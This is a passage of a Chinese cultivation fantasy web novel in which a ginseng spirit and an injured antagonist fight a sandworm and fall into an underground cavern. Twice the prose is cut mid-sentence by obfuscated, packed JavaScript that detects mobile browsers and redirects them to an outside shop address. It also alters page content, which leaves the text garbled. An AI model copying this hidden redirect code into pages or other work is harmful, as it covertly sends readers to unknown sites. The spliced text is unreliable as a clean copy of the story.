但显然眼下这种情况解释都成了掩饰,云深默默的缩进水里,只剩几片叶片露在水面。 没脸见人了。 他蹲在水潭底下沮丧的画着圈圈,一根细细长长东西突然从他面前不远伸了出来,吸引了他全部的注意。 原以为是水草之类的东西,可仔细看去却发现那根东西有半掌宽,色彩艳丽夺目,尖端有个拳头大的粉色肉瘤,正有节奏的抖动着发出叮铃叮铃的声音。 这是什么东西? 云深一头雾水,好奇心促使他伸出一根细细的参须去戳了戳那丑丑的肉瘤,肉瘤被戳得颤了颤然后抖得更欢快了。 云深更闹不懂这到底是什么东西了,他正要站起身找隋简来看看,就见水潭底下的泥沙震动了起来,清澈透明的水质被泥沙染成昏黄色。然后一只红褐色肥大的身躯从泥沙之中钻出,头部巨大而无眼,腹部生百足,丑陋恐怖的口器中布满了锋利的牙齿。 这是一只赤血沙虫。 云深认不出这是什么妖兽,但看对方那丑得不忍直视的外貌也知道它不是什么好东西。他想也没想就要跑,但由于自身对软体动物的恐惧使得双腿有些发软,逃跑的速度就慢了半拍,等他反应过来,刺血沙虫的尾巴已经卷着他的身躯,拖着他往泥沙里钻了。 23. 二十三 “孽畜!原来是躲这儿了。” 水里的动静隋简不可能没发现,那赤血沙虫确实聪明,它知道打不赢隋简便先朝云深下手,它也不跟隋简正面杠,卷着人参精就跑,一边跑还一边企图将人参精塞进嘴里,吓得云深吱哇乱叫。 “救我救我!快救我啊!” 云深踩着刺血沙虫的口器苦苦支撑,一边使劲的踹一边哭天喊地,只觉得吾命休矣。 怕是经此一役,他以后都要对水潭产生心理阴影了。 云深挣扎得太厉害,那赤血沙虫见没办法将他一口吞下立刻就放弃了,先是朝隋简喷出一口血色毒雾,然后头也不回的卷着人参精铆足了劲的跑。 毒雾暂时遮挡了视线,驱散仅仅只用了一息时间,但那赤血沙虫早就跑得无影无踪了。 隋简面色微沉,随手从储物袋里掏出一把从别的修士手中抢来的灵剑,提着剑就追了上去。 赤血沙虫擅长潜藏沙地下,想要在漫天黄沙里找到一只虫子无异于大海捞针,但得益于主仆契的单方面感应,隋简轻而易举就捕捉到了赤血沙虫的踪迹。 而云深的状况实在算不上好,赤血沙虫带着他钻沙子底下,糊了一脸的沙不说还吃了满嘴,他心爱的宝贝叶片的边缘也因此撕裂出许多细细小小的裂口。 云深心疼得滴血,一时之间愤怒冲上头脑,连天生对软体虫的惧怕都被压了下去。 赤血沙虫没有眼睛,但口器下有两个呼吸的小孔,愤怒的人参精无师自通的学会了用灵力延长自己的参须。 隋简追得太紧,几乎如影随形,赤血沙虫一门心思只想着逃跑没注意到云深,于是便被细细长长的参须密密麻麻的堵住了两个呼吸孔。 缺氧的赤血沙虫不得不钻出地面,尾巴卷着云深四处甩,企图将那些参须甩出去。 云深被甩得头晕目眩但就是死不撒手,他咬牙切齿的说:“大反派都没有揪坏我的叶片,你这丑东西怎么敢的?老子憋不死你!” 窒息的感觉实在难受,赤血沙虫越发狂躁,加上隋简已经追了上来,它纠结犹豫了半晌,最终还是求生本能占了上风。 云深被狠狠抛了出去,堵着呼吸孔的参须因惯性的拉扯而拔了出去。 眼看着就要重重摔到地面,一只手稳稳的将云深捞了过去,然后顺势塞进了衣兜里。 “不准自称老子,没上没下的。” 隋简敲了云深脑门一记,神情语气淡淡,可落到那布满豁口的叶片时,眼底闪过一丝狠厉和暴虐。 云深委屈巴巴的掉金豆豆:“对不起嘛,太生气了才这样的,以后不会了。” 隋简抿抿唇,拍了拍衣兜:“躲好,等会儿别掉出来了。” 人参精乖乖点头,然后立马缩了进去藏好,隋简这才回头找那赤血沙虫算账。 重获自由的赤血沙虫连喘气都来不及,扭头就跑,然而刚跑没几步,就被一把飞剑钉住了尾巴。 赤血沙虫疼得尾巴震颤,肉瘤抖动叮铃作响,它虽是妖兽但也有些灵智,深知若是此时不跑恐怕命都要留在这里。 它当机立断的自断尾巴,一头扎入沙地。 隋简能让它给跑了? 桃花眼眼尾上挑,隋简冷笑一声:“既然这么喜欢钻地底,那就永远都别出来了。” 他拔出扎在沙虫尾巴上的剑,瞬息之间闪身到一个小沙包上方,提剑朝底下狠狠一扎,随后单手结印。 以隋简自身为中心的百米距离之内空间震动,一阵阵爆破嗡鸣响起,地上松软的沙砾失去重力牵引,像雨一般倒悬空中,无形的力量压缩捏紧沙砾,逐渐形成一个倒三角的沙山。 没了沙砾的遮掩,赤血沙虫完全暴露在日光下,一把长剑将它的腰腹扎了个对穿,牢牢钉在地上,它痛苦挣扎却无论如何都挣脱不了。 沙山坠落,以势不可挡之势直冲地面,赤血沙虫做最后的垂死挣扎,它张大口器发出一阵阵刺耳的音波攻击,但依旧无法撼动沙山分毫。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13353233|140607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 轰隆隆…… 沙山将整个地面砸出一个数十米深的巨型坑洞,刺血沙虫凄厉的惨叫只维持了一秒就没了声息,彻底被砸成血浆与沙砾融为了一体。 强悍的冲击波使得这一片荒漠掀起一股沙尘暴,隋简用灵力撑起一个防护罩,一旦都被受到冲击波的影响。 这场沙尘暴持续了小半刻钟才平息下来,云深听着动静没了,谨慎小心的探出头来,扒着衣兜袋口,小眼珠子滴溜溜转了转:“那只臭虫子死了吗?” 隋简忍着自胸口冲上鼻腔的腥甜铁锈味,泰然自若的点头:“死了。” 云深解恨的捏起拳头:“活该!” 臭虫子敢打他,也不看看他大腿是谁。 他大腿可是大反派耶,超厉害的!云深骄傲的挺起胸膛。 隋简忍俊不禁,抬手抵着嘴角抿唇笑了笑。 云深狐假虎威完了又想起被赤血沙虫在地底下拖曳的经历,顿时心有戚戚焉,他做贼一样打量了下漫无边际的黄沙戈壁,小声逼逼:“这后面应该不会有什么危险了吧?” 偏偏好的不灵坏的灵,他话音刚落下,隋简砸出来的深坑中心开始皲裂出一条条裂纹,而后整个地面都开始摇晃了起来。 眨眼间,裂纹崩裂塌陷,隋简反应极快的调动体内灵力驭空而行,原本至此地面塌陷也威胁不到他们了,结果偏偏屋漏偏逢连夜雨,隋简旧伤复发,体内灵力暴走,喉中的鲜血再也压不住。 他捂着胸口吐了一口血,紧接着眼前一黑就失去了意识。 没了灵力维持,隋简的身体便自空中坠落,直直冲着深坑底部而去。 云深怎么也没想到大反派会突然晕了,他一颗心都蹦到了喉咙,心里直骂自己为什么要乌鸦嘴! 这深坑底下漆黑不见底,要是摔下去那不得东一块西一块的? 他想都没想就伸长了参须去抽隋简的脸颊:“啊啊啊!你快醒醒啊!这摔下去就死定了,我还不想跟你殉情呢!” 24. 二十四 距离地面千米深的地底下,怪石嶙峋的地下通道里滴答滴答的落着水珠,潺潺细水绕着石壁流向更深处。 极尽黑暗的地方却有火光闪烁,赫然是为了抢夺一个先天灵宝被三个宗门联合攻击,最后与大部队分散意外落入地底的剑宗一行人。 通道内,浮光与赵随云并肩而行,身前青蓝色灵火无风摇曳,身后跟着十几名剑宗弟子。 一行人身上多多少少都有打斗的痕迹,小伤不少致命伤却是没有,受伤最严重的弟子也就断了一臂,待回到宗门服下生骨丹,手臂再生不是问题。 他们又前行了一段距离,在一个空旷的平台上停下了脚步。 浮光对身后众人说:“先在这里打坐疗伤一下,一个时辰后再继续前行。” “是,悬灵长老。” 浮光又叮嘱弟子中伤势最轻修为高的几名弟子做好防护,留下一个灵力护罩后便与赵随云继续往前探路,走了大约百米距离,一个巨型的钟乳洞出现在面前。 从倒悬的钟乳石层数来看,这钟乳石洞起码已经存在了万年,灵气极为浓郁,是个适合修行的好地方。 浮光伸手去摸了摸钟乳石表面上湿润的水汽,侧目看向赵随云问道:“你确定这里会有炎阳之心?” 赵随云肯定的点头:“有,我感应到了。” 赵随云是变异的雷火灵根,对火系灵气的感知极为敏感,这地下通道虽然全是水汽,可更深处却充满了浓郁的火系灵气。 即便没有炎阳之心,也绝对会有炎阳灵液,那是仅此于炎阳之心的宝物。 他如此笃定那必然是八.九不离十了,浮光点了点头不再多问。随后两人继续往前走,同时放出神识查探,企图找到通道的出口。 走了大半个时辰,已经查探得差不多的两人开始折返回去,当他们与剑宗弟子汇合后,整个地下通道突然剧烈摇晃了起来,顶部的石块泥土松动砸落了下来,两人迅速凝聚出一个巨大的灵力护罩将弟子们牢牢护住。 等异动停止已是一刻钟后,一行人前方裂出一个巨型的地缝。 确认了安全后,浮光与赵随云一同走到地缝边缘。 地缝深不见底,列列罡风倒灌,刮得衣袍猎猎青丝飘扬。 两人互相传递了个眼神,最后赵随云点了点头,而后浮光便转身对弟子说:“你们且在原地待着,我与赵长老下去探一探。” 说罢也没管弟子们的反应,赵随云揽着浮光的腰便御剑冲入地缝。 . 裂缝深处,云深悠悠醒来,他第一时间就翻身爬了起来摸了摸自己身上,发现全身完好连叶片都没掉一片,顿时长吁一口气。 太好了,没摔成东一块西一块的。 他感慨过后马上想起隋简来,下意识就去搜寻隋简的身影,只是四周漆黑什么都看不见,他只能像瞎子一样四处摸索。 也不知过了多久,云深的参须被石子划出了许多细细的划伤,终于让他摸到了一团微凉的躯体。 是重伤昏迷的隋简。 隋简的身体一点温度都没有,云深以为他死了,顿时就哭了出来。 “你、你不要死啊,你死了我怎么办?” “大不了我以后再也不悄悄骂你了,你醒醒嘛。” 云深颤颤巍巍的折了一节参须,摸索到隋简的嘴在哪儿,然后一边往隋简嘴里塞参须一边嗷嗷大哭。 在他哭得快脱水的时候,有人轻轻碰了碰他的叶片:“我还没死呢,哭什么丧?” 气若游丝沙哑粗粝的嗓音传入耳膜,云深愣了愣,然后非但没停下来,反而哭得更惨了。 隋简费力的叹了口气:“你再继续哭下去,就难说了。” 云深立马闭了嘴,但却倔强的非要将那节参须塞进隋简嘴里。 隋简的肉身和意志力都极为强悍,下落途中曾清醒过一瞬间,就是靠着那短短的时间里强行运用灵力支起一个防护罩,才不至于摔个粉身碎骨。 虽然死不了但也好不到哪去,后脊骨和肋骨断了好几根,原本修复了些许的经脉再次被震伤,可以说是一夜回到解放前,之前的疗伤全白努力了。 隋简确实有洁癖,但性命攸关的关头哪有那么矫情? 参须沾了灰尘,咀嚼时连带着泥沙,咬着嘎嘣嘎嘣响。 随着人参精修为精进,它自身的药用效力也越来越精纯,虽然没能让隋简好彻底,但好歹吊住了一口气,粉碎的骨头也在重新拼接生长。 一节参须下肚,隋简已经能撑着双手坐起来,他额头布满细汗脸色苍白如纸。 云深虽然看不清,但也知道大反派状况绝对不好。他忧心不已,期期艾艾的问:“要不要再吃一节?” 就是不知道会不会药力过猛,万一虚不受补适得其反怎么办? 云深揪着一根参须十分犹豫。 隋简拍了拍他脑袋:“不必了,我要入定疗伤,时间会有些长,你帮我护法,若是有任何异动即刻推醒我。” 云深想大反派伤得这般重,虽然自己弱小又无用,可这种时候怎么都得顶起事来少让大反派分心。 他忙不迭的点头:“好,我会好好守着你哪都不去的。” 未了还推搡催促道:“你快些开始疗伤吧。” 人参精实在是乖巧得过分,很难不让人心软得一塌糊涂。隋简听着那关切又带着慌乱的细声软语,素来冷硬无情的内心竟有片刻的柔软。 以后还是对这小东西好些吧。 如此想着,隋简拿出之前留存的日精,开始进入打坐入定的状态。 云深不敢打扰到他,默默靠在他膝盖边守着。 四周一点光线都没有,云深除了能感知到隋简身体微凉的温度以外就只能发呆。 没事做就容易想多,隋简刚才的的样子实在是把他吓坏了,加上他又看不清隋简的状态,生怕隋简在自己没注意的时候悄悄的死掉了,于是便时不时神经质的伸着参须去探隋简的鼻息,确认还有气以后才松口气。 如此这般了十几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13353234|140607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个来回,云深突然脑海里闪过一丝灵光,他记得自己修炼时凝聚的木系灵气能帮助隋简疗伤,但…… 他要是也修炼的话可就没人守着大反派了。 不行不行! 云深摇了摇头,虽然说这地底应该也不会有人来,但谁知道地底下有什么什么妖兽,比如像赤血沙虫一样擅长钻地底的虫子。 他必须得清醒着时刻防备意外。 云深坚定了内心,但过了一会儿他又想木系灵气对大反派帮助很大,每次自己修炼的时候大反派疗伤的进度都会突飞猛进。 云深深思熟虑了好久,最终决定试一试能不能在清醒的状态下引气入体。 他没有系统性的学习过如何修炼,此前都是靠着本能。也不知是不是老天都在帮他,他居然还真瞎猫碰上死耗子引起入体成功了。 地底下木系灵气很稀少,虽然达不到之前雾化的夸张层度,但云深能明显感觉到木系灵气浓郁了很多。 于是他放心大胆的继续引气入体,随着越来越多的木系灵气凝聚,进了他体内便陷入休眠状态的木灵之心突然跳动了起来。 莹莹绿光自他胸腔闪耀,空气之中的木系灵气仿佛找到了归宿,欢呼雀跃的往他胸腔里钻。 云深吸收的木系灵气越多,木灵之心闪耀得就越耀眼,温和的荧光将他与隋简包裹其中,云深总算看清了隋简的脸。 隋简原本泛青的脸色随着荧光的照耀,渐渐显现出一丝健康的红润来,拧紧的眉心也抚平放松了不少。 云深知道这是做对了,于是更加努力的引气入体。 距离他们数十里外,一潭滚动的岩浆咕噜咕噜冒着泡泡,有茎无叶形似莲花的赤焰莲悄然绽放,无风摇曳着。 一颗拳头大小的火球自岩浆里窜了出来,它像是像靠近什么又不敢一般,在岩浆池上踌躇徘徊了很久,最近像是下定了某种决心,嗖一声横冲直撞的向着云深所在的方向而去。 . 体内暴走的灵力总于平静了下来,隋简睁开双眼吐出一口浊气,随后查探自身身体状况,发现竟然恢复得比预计要好上很多。 当他弹指点燃一簇灵火,垂眸看到修炼过度陷入沉睡的人参精,又感知到过分浓郁的木系灵气时,哪里还不知道发生了什么? 他轻柔的捞起人参精放入衣兜里,难得温柔的说了一句:“辛苦了。” 此地不是宜久留的地方,他必须尽快找到回到地面的方法才行。 隋简整理了下衣袍,起身就往外走,结果还没走两步突然就顿住了脚步,而后想也没想转身朝某个方向追去。 飞到半路的火球似乎感知到了危险,它猛得刹住停在半空,有些不甘又恐惧的颤抖了下,然后扭头头也不回的飞回岩浆池,一头扎进去躲了起来。 与此同时,隋简已经靠着敏锐的直觉追到了岩浆池。 他站在岩浆池前看着那些赤焰莲,还未来得及做什么,忽闻身后传来细碎的响声。 “大师兄,是你吧?”